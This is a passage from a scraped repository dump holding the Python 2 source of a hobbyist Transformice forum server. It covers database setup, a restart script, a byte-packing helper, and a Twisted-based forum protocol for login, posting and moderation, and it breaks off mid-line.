`icon`) VALUES('id', 746, 7);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 747, 8);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 748, 3);\")\r\ndbcur.execute(\"INSERT INTO `forum_forums` (`lang`, `id`, `icon`) VALUES('id', 751, 3);\")\r\nprint \"Forum Tablosu Verileri[2] Aktarildi.\"\r\nprint \"Sentinel Tablosu Kuruluyor...\"\r\ndbcur.execute(\"\"\"\r\n CREATE TABLE IF NOT EXISTS forum_sentinel ( \r\n isim TEXT );\"\"\")\r\nprint \"Sentinel Tablosu Kuruldu.\"\r\nprint \"Log Tablosu Kuruluyor...\"\r\ndbcur.execute(\"\"\"CREATE TABLE IF NOT EXISTS forum_log ( \r\n isim TEXT,\r\n forum_no TEXT,\r\n konu_no TEXT,\r\n yorum_no TEXT,\r\n log);\"\"\")\r\nprint \"Log Tablosu Kuruldu.\"\r\nimport time\r\nprint \"#NoVaLIB/Python/Flash-Forum[Sqlite3]\"\r\nprint \"We Are Dev-TR\"\r\nprint \"#NoVaLIB Developers DevelopetDesign&SevenOPS[HacqerNoVa]\"\r\ntime.sleep(30)\r\n" }, { "alpha_fraction": 0.44218748807907104, "alphanum_fraction": 0.4781250059604645, "avg_line_length": 21.703702926635742, "blob_id": "d233cc2a1835b67ccfb66e100f447f4aa50670b5", "content_id": "bbaa6cbce0e23448c519fe1c5b8c843cb6f93975", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 640, "license_type": "no_license", "max_line_length": 55, "num_lines": 27, "path": "/Comenzar.py", "repo_name": "klawau/JessicaServer", "src_encoding": "UTF-8", "text": "# -*- coding: cp1254 -*-\r\nimport time\r\nimport os\r\n\r\ndef main():\r\n data = os.system(\"Forum.py\")\r\n if data == 1:\r\n print(\"[ERROR] Reiniciando en 20 segundos...\")\r\n time.sleep(20)\r\n os.system(\"cls\")\r\n main()\r\n elif data in [5,1280]:\r\n print(\"[INFO] Server Parado!\")\r\n raw_input(\"\")\r\n elif data in [11,2816]:\r\n print(\"[ERROR] Reiniciando...\")\r\n time.sleep(1)\r\n os.system(\"cls\")\r\n main()\r\n else:\r\n print(\"[ERROR] Servidor caido, reiniciando...\")\r\n time.sleep(20)\r\n os.system(\"cls\")\r\n main()\r\n\r\nif __name__==\"__main__\":\r\n main()\r\n" }, { "alpha_fraction": 0.8604651093482971, "alphanum_fraction": 0.8604651093482971, "avg_line_length": 20.5, "blob_id": "de4fbbf223f7acaafaef2eb3b0e2f0e502f9e1b1", "content_id": "44ec449b1cb4d4cf475fe2deb4163bfe0396a618", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 43, "license_type": "no_license", "max_line_length": 26, "num_lines": 2, "path": "/README.md", "repo_name": "klawau/JessicaServer", "src_encoding": "UTF-8", "text": "# JessicaServer\nTransformice Jessica Forum\n" }, { "alpha_fraction": 0.5449084639549255, "alphanum_fraction": 0.5574942827224731, "avg_line_length": 30.370370864868164, "blob_id": "d5d6cf292e9800302d22f2458adeebabc1c54ac2", "content_id": "8400b097cf370c469e34b2b0709b7057b0948252", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3512, "license_type": "no_license", "max_line_length": 95, "num_lines": 108, "path": "/ByteArray.py", "repo_name": "klawau/JessicaServer", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n#-------------------------------------------------------------------------------\r\n# Name: ByteArray\r\n# Purpose: This is part of Jessica server.\r\n#\r\n# Author: Flyer ( Exfler )\r\n#\r\n# Created: 12.2012\r\n# Copyright: (c) Flyer 2012\r\n#-------------------------------------------------------------------------------\r\nimport struct\r\n\r\nclass ByteArray:\r\n def __init__(self, bytes=''):\r\n self.bytesString = bytes\r\n\r\n def writeBoolean(self, value=1):\r\n self.bytesString += self.writeByte(value, False)\r\n\r\n def writeByte(self, value, noReturning=True):\r\n if noReturning: self.bytesString += struct.pack('!b', value)\r\n else: return struct.pack('!b', value)\r\n\r\n def writeBytes(self, value):\r\n self.bytesString += value\r\n\r\n def writeInt(self, value):\r\n self.bytesString += struct.pack('!l', value)\r\n\r\n def writeShort(self, value):\r\n self.bytesString += struct.pack('!h', value)\r\n ###Kabile Forumları İçin 1 Temmuz 2013 Tarihinde hαcφεƦπøυα™ Tarafından Güncellenmiştir### \r\n def writeUTF(self, value, tribu=False):\r\n if tribu:\r\n valueSize = len(value)\r\n self.writeByte(valueSize)\r\n self.writeUTFBytes(value)\r\n else:\r\n valueSize = len(value)\r\n self.writeShort(valueSize)\r\n self.writeUTFBytes(value)\r\n\r\n def writeUTFBytes(self, value):\r\n self.bytesString += value\r\n\r\n def length(self):\r\n return len(self.bytesString)\r\n\r\n def toString(self):\r\n return self.bytesString\r\n\r\n def toPack(self):\r\n return struct.pack('!l', len(self.bytesString)+4)+self.bytesString\r\n\r\n def getSize(self, Pos):\r\n return struct.unpack('!l', self.bytesString[:4])[0]\r\n\r\n def readBy(self, Pos):\r\n self.bytesString = self.bytesString[Pos:]\r\n return self.bytesString\r\n\r\n def loc(self, byte):\r\n loc = self.bytesString[:byte]\r\n self.bytesString = self.bytesString[byte:]\r\n return struct.unpack('!b', loc)[0]\r\n\r\n def readInt(self):\r\n size = struct.unpack('!l', self.bytesString[:4])[0]\r\n self.bytesString = self.bytesString[4:]\r\n return size\r\n\r\n def readUTF(self):\r\n size = struct.unpack('!h', self.bytesString[:2])[0]\r\n string = self.bytesString[2:2 + size]\r\n self.bytesString = self.bytesString[size + 2:]\r\n return string.replace(\"'\",\"\")\r\n\r\n def readLongString(self):\r\n size = struct.unpack('!l', self.bytesString[:4])[0]\r\n string = self.bytesString[4:4 + size]\r\n self.bytesString = self.bytesString[size + 4:]\r\n return string.replace(\"'\",\"\")\r\n\r\n def readShort(self):\r\n size = struct.unpack('!h', self.bytesString[:2])[0]\r\n self.bytesString = self.bytesString[2:]\r\n return size\r\n\r\n def readBoolean(self):\r\n loc = struct.unpack('!b', self.bytesString[:1])[0]\r\n self.bytesString = self.bytesString[1:]\r\n if loc == 1: return True\r\n else: return False\r\n\r\n def readByte(self):\r\n size = struct.unpack('!b', self.bytesString[:1])[0]\r\n self.bytesString = self.bytesString[1:]\r\n return size\r\n\r\n def readList(self, size):\r\n list = list(self.bytesString[:size])\r\n self.bytesString = self.bytesString[size:]\r\n return list\r\n\r\n def readUTFBytes(self, size):\r\n string = self.bytesString[:size]\r\n self.bytesString = self.bytesString[size:]\r\n return string\r\n" }, { "alpha_fraction": 0.43485206365585327, "alphanum_fraction": 0.45273280143737793, "avg_line_length": 46.436012268066406, "blob_id": "2a3e24ee4567de4ad1570bca51734481c868c5cd", "content_id": "0400b4b8bfc66be5ce90930756f94f90dff63a15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 32614, "license_type": "no_license", "max_line_length": 219, "num_lines": 672, "path": "/Forum.py", "repo_name": "klawau/JessicaServer", "src_encoding": "UTF-8", "text": "# -*- coding: utf_8 -*-\r\n#-------------------------------------------------------------------------------\r\n# Name: Transformice Forums Start Module\r\n# Purpose: Jessica server.\r\n#\r\n# Author: Spaowi ( Devsaider )\r\n# Debug: SevenOPS(hαcφεƦπøυα™)\r\n# BugFinder: TheVon\r\n# Created: 01-07-2013\r\n# Copyright: (c) Dev-TR 2013\r\n#-------------------------------------------------------------------------------\r\n#print repr(ord(\"(\"))\r\nimport hashlib\r\nimport sqlite3\r\nimport threading\r\nimport random\r\nimport StringIO\r\nimport sys\r\nimport time\r\nfrom ByteArray import ByteArray\r\nfrom PIL import Image\r\nimport urllib2\r\nfrom twisted.internet.protocol import Protocol, Factory\r\nfrom twisted.internet import reactor\r\n\r\n#import upload\r\nimport saat\r\nom = []\r\nupdate = False\r\ndbcon = sqlite3.connect(\"./dbfile.sqlite\")\r\ndbcon.isolation_level = None\r\ndbcur = dbcon.cursor()\r\ndbcon.row_factory = sqlite3.Row\r\ndbcon.text_factory = str \r\nV = \"0.1rc4b12\"\r\nclass TransformiceForums(Protocol):\r\n def __init__(self, factory):\r\n self.client = Protocol\r\n self.factory = factory\r\n self.forum_id = -1\r\n self.page = 0\r\n self.priv = 1\r\n self.pf = [\"10\", \"400\", \"401\", \"402\", \"403\", \"404\", \"405\", \"406\", \"407\", \"408\", \"409\", \"44\"]\r\n self.langue = \"br\"\r\n self.thread_id = 0\r\n self.username = \"\"\r\n self.userTypeNeededForPeutModerer = [11, 17, 18, 14, 20]\r\n self.user_type = 19\r\n self.version = 13\r\n self.sentinel = False\r\n self.sf = []\r\n self.login = False\r\n self.ms = 0\r\n self.versionValidated = False\r\n\t\t\r\n def connectionMade(self):\r\n print \"Connected\", self.transport.getHandle().getpeername()[0]\r\n\r\n def connectionLost(self, reason):\r\n try:\r\n nlol.online.remove(self.username)\r\n except:\r\n pass\r\n\r\n def RequireLevel(self, levels):\r\n cant = self.user_type in levels\r\n if cant:return True\r\n else:raise Exception('spam', 'eggs')\r\n\r\n def getJoueurType(self, username):\r\n privilegesForum = {1:(19, \"\"), 2:(19, \"\"), 3:(12, \"\"), 4:(17, \"<CJ>\"), 5:(17, \"<CJ>\"), 6:(17, \"<CJ>\"), 8:(17, \"<CJ>\"), 9:(18, \"<CJ>\"), 10:(14, \"<CR>\"), 11:(20, \"<CR>\")}\r\n CheckFail=0\r\n if len(username)>12:\r\n self.transport.loseConnection()\r\n CheckFail=1\r\n\r\n if not username.isalpha():\r\n self.transport.loseConnection()\r\n CheckFail=1\r\n\r\n if CheckFail==0:\r\n username=username.lower()\r\n username=username.capitalize()\r\n dbcur.execute('select * from users where name = ?', [username])\r\n rrf = dbcur.fetchone()\r\n \r\n if rrf is None:\r\n return 0\r\n else:\r\n name = rrf[0]\r\n privlevel = rrf[3]\r\n return privilegesForum[privlevel][0]\r\n else:\r\n pass\r\n\r\n def debug(self, nom):\r\n pass\r\n\r\n def authenticate(self, username, passwordHash):\r\n CheckFail=0\r\n if len(username)>12:\r\n self.transport.loseConnection()\r\n CheckFail=1\r\n\r\n if not username.isalpha():\r\n self.transport.loseConnection()\r\n CheckFail=1\r\n\r\n if CheckFail==0:\r\n username=username.lower()\r\n username=username.capitalize()\r\n dbcur.execute('select * from users where name = ?', [username])\r\n rrf = dbcur.fetchone()\r\n \r\n if rrf is None:\r\n return 0, -1, \"\"\r\n else:\r\n name = rrf[0]\r\n password = rrf[1]\r\n privlevel = rrf[3]\r\n self.priv = privlevel\r\n if passwordHash != password:\r\n return 0, -1, name\r\n \r\n else:\r\n return 1, self.getJoueurType(name), name\r\n else:\r\n pass\r\n\r\n def ForumsList(self):\r\n p = ByteArray(\"\\x02\\x02\")\r\n p.writeUTF(self.langue)\r\n dbcur.execute(\"SELECT * FROM forum_forums where id < 1000\")\r\n threads = dbcur.fetchall()\r\n for thread in threads:\r\n if str(thread[1]) in self.pf and self.priv < 4:\r\n \r\n pass\r\n else:\r\n p.writeInt(int(thread[1]))\r\n p.writeUTF(str(thread[0]))\r\n p.writeShort(int(thread[2]))\r\n if self.login:\r\n dbcur.execute(\"SELECT tribe FROM users where name = ?\", [self.username])\r\n td = dbcur.fetchone()\r\n if not td[0] == None:\r\n tdc = td[0].split(\"#\")[1]\r\n dbcur.execute(\"SELECT * FROM tribu where Code = ?\", [tdc])\r\n ntd = dbcur.fetchone()\r\n p.writeInt(int(tdc)+2000)\r\n p.writeUTF(\"xx\")\r\n p.writeShort(9)\r\n p.writeByte(False)\r\n p.writeUTF(ntd[1], True)\r\n \r\n self.transport.write(p.toPack())\r\n\r\n def message_forum(self, msg):\r\n p = ByteArray(\"\\x1c\\x1c\")\r\n p.writeUTF(msg)\r\n self.transport.write(p.toPack())\r\n\r\n def online(self):\r\n p = ByteArray(\"\\x28\\x28\")\r\n p.writeInt(len(nlol.online))\r\n self.transport.write(p.toPack())\r\n\r\n def generateThreadsPage(self, forum_id):\r\n dbcur.execute(\"SELECT * FROM forum_threads where forum_id=?\", [forum_id])\r\n comments = dbcur.fetchall()\r\n return len(comments)/20\r\n\r\n def getcommentsbythread(self, thread_id, forum_id):\r\n dbcur.execute(\"SELECT * FROM forum_comments where forum_id=? AND thread_id=?\", [forum_id, thread_id])\r\n comments = dbcur.fetchall()\r\n return comments\r\n\r\n def openForums(self, forum_id, page):\r\n if page == -1:page=0\r\n self.forum_id = forum_id\r\n if page != 0:limit1, limit2 = page*20, page*40\r\n else:limit1, limit2 = 0, 20\r\n\r\n p = ByteArray(\"\\x02\\x04\")\r\n if forum_id == 1:\r\n openthread = self.user_type in [17, 18, 14, 20]\r\n else:\r\n openthread = True\r\n if self.username in om:\r\n openthread = False\r\n if not self.login:\r\n openthread = False\r\n p.writeBoolean(openthread) # peutCreerSujet\r\n\r\n # [FORUM INFO] #\r\n\r\n \r\n ###Tribe Forums###\r\n if forum_id > 2000:\r\n dbcur.execute(\"SELECT * FROM forum_forums where id = ?\", [int(forum_id)])\r\n td = dbcur.fetchone()\r\n if not td == None:\r\n pass\r\n else:\r\n dbcur.execute(\"INSERT INTO forum_forums VALUES (?,?,?)\", [\"xx\", (forum_id), \"9\"])\r\n dbcur.execute(\"SELECT * FROM tribu where Code = ?\", [int(forum_id)-2000])\r\n ntd = dbcur.fetchone()\r\n p.writeInt(forum_id)\r\n p.writeUTF(\"xx\")\r\n p.writeShort(9)\r\n p.writeByte(False)\r\n p.writeUTF(ntd[1], True)\r\n dbcur.execute(\"SELECT * FROM forum_forums where id=?\", [forum_id])\r\n forum = dbcur.fetchone()\r\n else:\r\n dbcur.execute(\"SELECT * FROM forum_forums where id=?\", [forum_id])\r\n forum = dbcur.fetchone()\r\n p.writeInt(int(forum[1])) # forumId\r\n p.writeUTF(str(forum[0])) # forumCountry\r\n p.writeShort(int(forum[2])) # forumIcon\r\n p.writeInt(page) # pageCurrent\r\n p.writeInt(self.generateThreadsPage(forum_id)+1) # pageTotal\r\n #\r\n p.writeBoolean(False) # masquerSujetCourrant # публичный форум : boolean\r\n\r\n dbcur.execute(\"SELECT * FROM forum_threads where forum_id=? ORDER BY sticky DESC, date DESC LIMIT ?, ?\", [forum_id, limit1, limit2])\r\n threads = dbcur.fetchall()\r\n threadNum = 0\r\n for row in threads:\r\n z = row[1]\r\n # [InfoServeurSujet] #\r\n dbcur.execute(\"SELECT * FROM forum_comments where thread_id=? ORDER BY time DESC\", [z])\r\n topicLastMessage = dbcur.fetchall()[0]\r\n p.writeInt(row[1]) # code\r\n p.writeUTF(row[2]) # titre\r\n p.writeInt(int(row[3])) # date\r\n p.writeUTF(row[4].encode(\"cp1251\")) # auteur\r\n p.writeByte(self.getJoueurType(row[4].encode(\"cp1251\"))) # typeAuteur\r\n p.writeUTF(topicLastMessage[3].encode(\"cp1251\")) # last_posteur\r\n p.writeInt(len(self.getcommentsbythread(row[1], forum[1]))) # numMessage\r\n typeThread = 0\r\n if bool(row[7]):typeThread = 2\r\n p.writeByte(typeThread) # type\r\n p.writeBoolean(bool(row[6])) # postIt\r\n p.writeInt(threadNum) # nombreSignalements\r\n threadNum+=1\r\n self.transport.write(p.toPack())\r\n def mc(self):\r\n dbcur.execute('select * from forum_mute where isim = ?', [self.username])\r\n rrf = dbcur.fetchone()\r\n if not rrf is None:\r\n sd = saat.saat(rrf[7])\r\n if int(sd.split(\"NoVa\")[0]) < int(rrf[8]) or str(rrf[8]) == \"-1\":\r\n if str(rrf[8]) == \"-1\":\r\n self.message_forum(\"You have unlimited mute :/\")\r\n else:\r\n self.ms = sd.split(\"NoVa\")[0]\r\n self.ms = int(rrf[8])-int(self.ms)\r\n \r\n if int(rrf[8]) == 1:\r\n self.ms = 0\r\n self.message_forum(\"Mutenizin bitmesine \"+str(self.ms)+\" saat \"+str(60-int(sd.split(\"NoVa\")[1]))+\" dakika kaldı.\")\r\n om.append(self.username)\r\n else:\r\n if self.username in om:\r\n om.remove(self.username)\r\n dbcur.execute(\"DELETE FROM forum_mute where isim = ?\", [self.username])\r\n self.message_forum(\"Mute'niz kaldırılmıştır.\")\r\n \r\n def openThread(self, thread_id, page):\r\n if page == -1:page=0\r\n if page != 0:limit1, limit2 = (page*20)-1, page*40\r\n else:limit1, limit2 = 0, 20\r\n dbcur.execute(\"SELECT * FROM forum_threads where thread_id = ?\", [thread_id])\r\n topicData = dbcur.fetchone()\r\n dbcur.execute(\"SELECT * FROM forum_comments where thread_id = ? ORDER BY time LIMIT ?, ?;\", [thread_id, limit1, limit2])\r\n topicStartMessage = dbcur.fetchall()[0]\r\n forum_id = topicData[0]\r\n self.forum_id = forum_id\r\n self.thread_id = thread_id\r\n\r\n p = ByteArray(\"\\x02\\x05\")\r\n # [FORUM INFO] #\r\n p.writeInt(forum_id) # forumEnCours\r\n p.writeInt(thread_id) # sujetEnCours\r\n canEdit = self.user_type in self.userTypeNeededForPeutModerer\r\n if canEdit: canEdit=10\r\n elif self.username==topicStartMessage[3]:canEdit=1\r\n p.writeByte(canEdit) # edition\r\n p.writeBoolean(self.user_type != 19) # peutSuppr\r\n peutReponder = self.username != \"\"\r\n if bool(topicData[7]): peutReponder = False\r\n if not self.login:openthread = False\r\n if self.username in om:peutReponder = False\r\n p.writeBoolean(peutReponder) # peutRepondre\r\n p.writeBoolean(bool(topicData[7])) # fin\r\n p.writeBoolean(self.user_type != 19) # modTribu\r\n p.writeUTF(topicData[2]) # titre\r\n p.writeInt(page) # pageEnCours\r\n p.writeInt(int(len(self.getcommentsbythread(thread_id, forum_id))/20)) # nobrePage\r\n dbcur.execute(\"SELECT * FROM forum_comments where thread_id = ? ORDER BY time LIMIT ?, ?\", [thread_id, limit1, limit2])\r\n messages = dbcur.fetchall()\r\n p.writeByte(len(messages)-1) # message \r\n for message in messages:\r\n p.writeInt(message[2]) # id\r\n p.writeByte(self.getJoueurType(message[3].encode(\"cp1251\"))) # typeAuteurMessage\r\n p.writeUTF(message[3]) # auteur\r\n p.writeByte(self.getJoueurType(message[3].encode(\"cp1251\"))) # typeAuteurCourant\r\n p.writeInt(10000) # avatar\r\n p.writeInt(message[6]) # date\r\n p.writeUTF(message[5]) # texte\r\n p.writeByte(message[7]) # etat\r\n p.writeUTF(message[8].encode('utf-8','replace')) # nomModerateur\r\n p.writeUTF(message[9].encode('utf-8','replace')) # raisonEtat\r\n p.writeUTF(\"\") # infos\r\n p.writeBoolean(True) # multiLangues\r\n p.writeBoolean(False) # etatSignalement\r\n #p.writeUTF(\"TEST Title\")\r\n self.transport.write(p.toPack())\r\n\r\n def dataReceived(self, data): # 446, 44442, 5557, 3726, 6114\r\n print data\r\n if data == \"<policy-file-request/>\\x00\":self.transport.write(\"\"\"<cross-domain-policy><allow-access-from domain=\"127.0.0.1\" to-ports=\"443,44444,44440,5555,3724,6112\" /></cross-domain-policy>\\x00\"\"\")\r\n \r\n else:\r\n \r\n opcode1 = data[4:5]\r\n opcode2 = data[5:6]\r\n opcodes = bytes([opcode1, opcode2])\r\n data = data[6:len(data)]\r\n print repr(opcodes)\r\n \r\n if opcode1 == \"\\x1c\":\r\n \r\n if opcode2 == \"\\x01\":\r\n #Version\r\n p = ByteArray(data)\r\n v = p.readInt()\r\n print v\r\n if v == self.version:\r\n #ForaList\r\n self.versionValidated = True\r\n self.online()\r\n self.ForumsList()\r\n else:self.transport.connectionLost()\r\n elif opcode2 == \"\\x1c\":\r\n # Moderating Functions\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n p = ByteArray(data)\r\n params = p.readUTF().split(\",\")\r\n if params[0] == \"[E]renommer_sujet\":\r\n # Thread Rename\r\n thread_id, message_id, new_title = params[1], p.readShort(), p.readUTF()\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, message_id, \"Konu İsmi\", new_title, \"Olarak Değiştirildi.\"])\r\n dbcur.execute(\"UPDATE forum_threads SET topic = ? WHERE thread_id = ?\", [new_title, thread_id])\r\n self.openThread(int(thread_id), 0)\r\n elif params[0] == \"[E]mute\":\r\n # Kullanıcı susturma\r\n mm = int(params[1])\r\n ms = int(params[3])\r\n mn = str(params[2])\r\n fi = int(params[4])\r\n ki = int(params[5])\r\n mi = int(params[6])\r\n p = ByteArray(data.split(\"\\x01\")[1])\r\n sebep = p.readUTF()\r\n if ms == 0:\r\n if mn in om:\r\n om.remove(mn)\r\n dbcur.execute(\"DELETE FROM forum_mute where isim = ?\", [mn])\r\n self.message_forum(mn+\" Adlı Kullanıcının Mute'si Kaldırıldı.\")\r\n else:\r\n \r\n if mm == 1:\r\n dbcur.execute('select * from forum_mute where isim = ?', [mn])\r\n rrf = dbcur.fetchone()\r\n if rrf is None:\r\n \r\n mod = \"isim\"\r\n \r\n if mn in nlol.online:\r\n md = \"Online\"\r\n om.append(mn)\r\n else:\r\n md = \"Offline\"\r\n self.message_forum(mn+\" Adlı Kullanıcı \"+str(ms)+\" Saat Boyunca Mutelendi.\")\r\n dbcur.execute(\"INSERT INTO forum_mute VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\", [self.username, mn, fi, ki, mi, sebep, \"ip\", time.time(), ms, md])\r\n else:\r\n self.message_forum(rrf[1]+\" \"+rrf[0]+\" Tarafından Mutelenmiş Zaten\")\r\n else:\r\n self.message_forum(\"Şimdilik Sadece Oyuncu Mutelenebiliyor ^_^\")\r\n \r\n \r\n elif params[0] == \"deplacer_sujet\":\r\n # Thread Replace\r\n thread_id, forum_id = int(params[1]), int(params[2])\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, \"\", \"Konu \"+forum_id+\" Forumuna Taşındı.\"])\r\n dbcur.execute(\"UPDATE forum_threads SET forum_id = ? WHERE thread_id = ?\", [forum_id, thread_id])\r\n dbcur.execute(\"UPDATE forum_comments SET forum_id = ? WHERE thread_id = ?\", [forum_id, thread_id])\r\n \r\n self.openForums(forum_id, 0)\r\n self.openThread(thread_id, 0)\r\n\r\n elif self.versionValidated:\r\n print opcode1+\" - \"+opcode2\r\n\t\t\t\t\r\n if opcode1 == \"\\x02\":\r\n if opcode2 == \"\\x03\":\r\n # REQUEST_FORUMS_LIST\r\n self.online()\r\n self.ForumsList()\r\n elif opcode2 == \"\\x04\":\r\n # REQUEST_THREAD_LIST\r\n p = ByteArray(data)\r\n forum_id = p.readInt()\r\n page = p.readInt()\r\n self.forum_id = forum_id\r\n self.openForums(forum_id, page)\r\n elif opcode2 == \"\\x05\":\r\n print \"rophl\"\r\n # REQUEST_MESSAGE_LIST\r\n p = ByteArray(data)\r\n thread_id = p.readInt()\r\n page = p.readShort()\r\n self.page = page\r\n self.thread_id = thread_id\r\n self.openThread(thread_id, page)\r\n\r\n\r\n elif opcode1 == \"\\x04\":\r\n if opcode2 == \"\\x02\":\r\n # New Thread\r\n p = ByteArray(data)\r\n forum_id = p.readInt()\r\n self.forum_id = forum_id\r\n if self.forum_id == 1:\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n threadTitle = str(p.readUTF()).decode('utf-8','replace')\r\n message_utf = str(p.readLongString()).decode('utf-8','replace')\r\n dbcur.execute(\"INSERT INTO forum_threads VALUES (?, NULL, ?, ?, ?, ?, 0, 0)\", [int(forum_id), threadTitle, str(time.time()).replace('.', '')[:10], self.username, self.username])\r\n thread_id = dbcur.lastrowid\r\n self.thread_id = thread_id\r\n dbcur.execute(\"INSERT INTO forum_comments VALUES (?, ?, NULL, ?, ?, ?, ?, 0, '', '')\", [int(forum_id), thread_id, self.username, threadTitle, message_utf, str(time.time()).replace('.', '')[:10]])\r\n self.openForums(self.forum_id, 0)\r\n self.openThread(thread_id, 0)\r\n \r\n elif opcode2 == \"\\x04\":\r\n # Repondre Sujet\r\n p = ByteArray(data)\r\n thread_id = p.readInt()\r\n message_utf = str(p.readLongString()).decode('utf-8','replace')\r\n dbcur.execute(\"INSERT INTO forum_comments VALUES (?, ?, NULL, ?, ' ', ?, ?, 0, '', '')\", [self.forum_id, thread_id, self.username, message_utf, str(time.time()).replace('.', '')[:10]])\r\n \r\n self.openThread(thread_id, 0)\r\n elif opcode2 == \"\\x06\":\r\n # Message Edit\r\n # needed edit for long string\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n \r\n p = ByteArray(data)\r\n thread_id = p.readInt()\r\n message_id = p.readInt()\r\n message_utf = str(p.readLongString()).decode('utf-8','replace')\r\n dbcur.execute(\"SELECT * FROM forum_comments WHERE thread_id = ? AND message_id = ? AND username = ?\", [thread_id, message_id, self.username])\r\n if len(dbcur.fetchall()) == 0:\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, message_id, message_utf])\r\n dbcur.execute(\"UPDATE forum_comments SET message = ? WHERE thread_id = ? AND message_id = ?;\", [message_utf, thread_id, message_id])\r\n \r\n self.openThread(thread_id, 0)\r\n elif opcode1 == \"\\x28\":\r\n if opcode2 == \"\\x02\":\r\n # Auth\r\n p = ByteArray(data)\r\n username, passwordHash = p.readUTF(), p.readUTF()\r\n p = ByteArray(\"\\x28\\x02\")\r\n #print passwordHash\r\n valid, forumPriv, validUsername = self.authenticate(username, hashlib.sha512(passwordHash).hexdigest())\r\n p.writeByte(valid)\r\n if valid != 0:\r\n username=username.lower()\r\n username=username.capitalize()\r\n dbcur.execute(\"SELECT isim FROM forum_sentinel WHERE isim = ?\", [username])\r\n sd = dbcur.fetchone()\r\n try:\r\n za = sd[0]\r\n self.sentinel = True\r\n forumPriv = 11\r\n except:\r\n pass\r\n self.username = str(validUsername)\r\n self.user_type = forumPriv\r\n p.writeUTF(self.username)\r\n p.writeInt(10000)\r\n p.writeInt(forumPriv)\r\n nlol.online.append(self.username)\r\n self.login = True\r\n self.mc()#Mute Controller\r\n self.transport.write(p.toPack())\r\n self.online()\r\n \r\n elif opcode2 == \"\\x16\":\r\n p = ByteArray(data)\r\n ri, fa, fi, ti, ci, rml = p.readUTF(), p.readUTF(), p.readInt(), p.readInt(), p.readInt(), p.readUTF()\r\n print ri, fa, fi, ti, ci, rml\r\n self.message_forum(\"Raporlama Sistemi Daha Hazır Değil ^_^\")\r\n #### Bu Kod Rapor Kodudur Ancak Daha Bitmemiştir.####\r\n elif opcode2 == \"\\n\":\r\n \r\n file = open(\"avatars/\"+self.username+\".png\", 'wb')\r\n file.write(data)\r\n \r\n file = open(\"avatars/\"+self.username+\".png\", 'rb')\r\n img = Image.open(file)\r\n img.load()\r\n img.thumbnail((100, 100), Image.ANTIALIAS)\r\n img.save(\"./avatars/\"+self.username+\"_Resize.png\")\r\n\r\n data=open(\"avatars/\"+self.username+\"_Resize.png\", \"rb\")\r\n upload.upload_file(self.username+\".png\",data)\r\n \r\n \r\n elif opcode2 == \"\\x0a\":\r\n # Avatar Change\r\n try:\r\n pass\r\n## file = open(\"avatars/\"+self.username+\".png\", 'wb')\r\n## file.write(data)\r\n## basewidth = 100\r\n## img = Image.open(StringIO.StringIO(file))\r\n## wpercent = (basewidth/float(img.size[0]))\r\n## hsize = int((float(img.size[1])*float(wpercent)))\r\n## img = img.resize((basewidth,hsize), PIL.Image.ANTIALIAS)\r\n## img.save(\"avatars/\"+self.username+\".png\")\r\n except:\r\n pass\r\n\r\n elif opcode2 == \"\\x0b\":\r\n # Close Theme\r\n if not self.sentinel:\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n else:\r\n if not str(self.forum_id) in self.sf:\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n p = ByteArray(data)\r\n thread_id, closed = p.readInt(), p.readBoolean()\r\n dbcur.execute(\"SELECT closed FROM forum_threads where thread_id=?\", [thread_id])\r\n if int(dbcur.fetchone()[0]) == 0:\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, \"\", \"Konu Kilitlendi.\"]) \r\n dbcur.execute(\"UPDATE forum_threads SET closed=1 WHERE thread_id = ?\", [thread_id])\r\n else:\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, \"\", \"Konu Kilidi Kaldırıldı.\"])\r\n dbcur.execute(\"UPDATE forum_threads SET closed=0 WHERE thread_id = ?\", [thread_id])\r\n if closed:\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, \"\", \"Konu Arşive Taşındı.\"])\r\n dbcur.execute(\"UPDATE forum_threads SET forum_id = ? WHERE thread_id = ?\", [611, thread_id])\r\n dbcur.execute(\"UPDATE forum_comments SET forum_id = ? WHERE thread_id = ?\", [611, thread_id])\r\n self.forum_id = 611\r\n \r\n \r\n self.openForums(self.forum_id, 0)\r\n self.openThread(thread_id, 0)\r\n\r\n elif opcode2 == \"\\x0c\":\r\n # Stick Theme\r\n if not self.sentinel:\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n else:\r\n if not str(self.forum_id) in self.sf:\r\n self.RequireLevel(self.userTypeNeededForPeutModerer)\r\n p = ByteArray(data)\r\n thread_id = p.readInt()\r\n dbcur.execute(\"SELECT sticky FROM forum_threads where thread_id=?\", [thread_id])\r\n if int(dbcur.fetchone()[0]) == 0:\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, ?, ?, ?)\", [self.username, self.forum_id, thread_id, \"\", \"Konu Sabitlendi.\"])\r\n dbcur.execute(\"UPDATE forum_threads SET sticky=1 WHERE thread_id = ?\", [thread_id])\r\n else:\r\n dbcur.execute(\"INSERT INTO forum_log VALUES(?, ?, 